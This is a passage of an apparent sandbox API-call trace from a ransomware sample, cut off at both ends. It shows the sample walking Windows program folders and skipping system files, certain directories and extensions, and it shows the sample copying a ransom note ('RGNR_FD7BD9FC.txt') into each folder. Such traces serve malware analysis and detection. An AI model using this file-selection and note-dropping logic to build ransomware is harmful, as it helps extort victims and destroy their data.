[0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="iconcache.db") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="ntldr") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="ntuser.dat") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="ntuser.dat.log") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="ntuser.ini") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="thumbs.db") returned 1 [0058.848] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.848] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.848] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.848] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0058.848] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.848] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TipRes.dll" | out: lpString1="TipRes.dll") returned="TipRes.dll" [0058.848] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned=".dll" [0058.848] lstrcmpiW (lpString1="TipRes.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.848] lstrcmpiW (lpString1="TipRes.dll", lpString2="autorun.inf") returned 1 [0058.848] lstrcmpiW (lpString1="TipRes.dll", lpString2="boot.ini") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="bootfont.bin") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="bootsect.bak") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="bootmgr") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="bootmgr.efi") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="bootmgfw.efi") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="desktop.ini") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="iconcache.db") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="ntldr") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="ntuser.dat") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="ntuser.dat.log") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="ntuser.ini") returned 1 [0058.849] lstrcmpiW (lpString1="TipRes.dll", lpString2="thumbs.db") returned 1 [0058.849] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.849] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.849] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.849] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0058.849] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.849] lstrcpyW (in: lpString1=0x1eb62e, lpString2="tipresx.dll" | out: lpString1="tipresx.dll") returned="tipresx.dll" [0058.849] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned=".dll" [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="autorun.inf") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="boot.ini") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="bootfont.bin") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="bootsect.bak") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="bootmgr") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="bootmgr.efi") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="bootmgfw.efi") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="desktop.ini") returned 1 [0058.849] lstrcmpiW (lpString1="tipresx.dll", lpString2="iconcache.db") returned 1 [0058.850] lstrcmpiW (lpString1="tipresx.dll", lpString2="ntldr") returned 1 [0058.850] lstrcmpiW (lpString1="tipresx.dll", lpString2="ntuser.dat") returned 1 [0058.850] lstrcmpiW (lpString1="tipresx.dll", lpString2="ntuser.dat.log") returned 1 [0058.850] lstrcmpiW (lpString1="tipresx.dll", lpString2="ntuser.ini") returned 1 [0058.850] lstrcmpiW (lpString1="tipresx.dll", lpString2="thumbs.db") returned 1 [0058.850] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.850] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.850] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.850] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0058.850] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.850] lstrcpyW (in: lpString1=0x1eb62e, lpString2="tipskins.dll" | out: lpString1="tipskins.dll") returned="tipskins.dll" [0058.850] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned=".dll" [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="autorun.inf") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="boot.ini") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="bootfont.bin") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="bootsect.bak") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="bootmgr") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="bootmgr.efi") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="bootmgfw.efi") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="desktop.ini") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="iconcache.db") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="ntldr") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="ntuser.dat") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="ntuser.dat.log") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="ntuser.ini") returned 1 [0058.850] lstrcmpiW (lpString1="tipskins.dll", lpString2="thumbs.db") returned 1 [0058.850] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.850] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.850] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.850] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0058.850] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.850] lstrcpyW (in: lpString1=0x1eb62e, lpString2="tiptsf.dll" | out: lpString1="tiptsf.dll") returned="tiptsf.dll" [0058.850] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned=".dll" [0058.850] lstrcmpiW (lpString1="tiptsf.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.850] lstrcmpiW (lpString1="tiptsf.dll", lpString2="autorun.inf") returned 1 [0058.851] lstrcmpiW (lpString1="tiptsf.dll", lpString2="boot.ini") returned 1 [0058.851] lstrcmpiW (lpString1="tiptsf.dll", lpString2="bootfont.bin") returned 1 [0058.851] lstrcmpiW (lpString1="tiptsf.dll", lpString2="bootsect.bak") returned 1 [0058.851] lstrcmpiW (lpString1="tiptsf.dll", lpString2="bootmgr") returned 1 [0058.851] lstrcmpiW (lpString1="tiptsf.dll", lpString2="bootmgr.efi") returned 1 [0058.851] lstrcmpiW (lpString1="tiptsf.dll", lpString2="bootmgfw.efi") returned 1 [0058.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0058.851] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.851] lstrcpyW (in: lpString1=0x1eb62e, lpString2="tpcps.dll" | out: lpString1="tpcps.dll") returned="tpcps.dll" [0058.851] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned=".dll" [0058.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0058.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0058.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0058.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75260800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0058.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75260800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0058.851] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0058.851] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0058.851] lstrcmpiW (lpString1="MSClientDataMgr", lpString2=".") returned 1 [0058.851] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="..") returned 1 [0058.851] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Windows") returned -1 [0058.851] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Windows.old") returned -1 [0058.851] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Tor browser") returned -1 [0058.851] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Internet Explorer") returned 1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Google") returned 1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Opera") returned -1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Opera Software") returned -1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Mozilla") returned 1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Mozilla Firefox") returned 1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="$Recycle.Bin") returned 1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="ProgramData") returned -1 [0058.852] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="All Users") returned 1 [0058.852] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0058.852] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="MSClientDataMgr" | out: lpString1="MSClientDataMgr") returned="MSClientDataMgr" [0058.852] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\" [0058.852] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\" [0058.852] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\RGNR_FD7BD9FC.txt" [0058.852] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.859] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*" [0058.859] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x46 [0058.859] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.859] lstrcpyW (in: lpString1=0x1eb232, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75534220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0058.859] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.859] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75534220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.859] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.859] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.859] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0058.859] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="..") returned 1 [0058.860] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75534220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.860] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.860] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.860] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75534220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0058.860] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0058.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75534220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0058.860] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75534220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.860] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0058.860] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x46 [0058.860] lstrcpyW (in: lpString1=0x1eb646, lpString2="MSCDM.DLL" | out: lpString1="MSCDM.DLL") returned="MSCDM.DLL" [0058.860] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned=".DLL" [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="autorun.inf") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="boot.ini") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="bootfont.bin") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="bootsect.bak") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="bootmgr") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="bootmgr.efi") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="bootmgfw.efi") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="desktop.ini") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="iconcache.db") returned 1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ntldr") returned -1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ntuser.dat") returned -1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ntuser.dat.log") returned -1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ntuser.ini") returned -1 [0058.860] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="thumbs.db") returned -1 [0058.860] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0058.860] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0058.860] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0058.861] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75534220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, 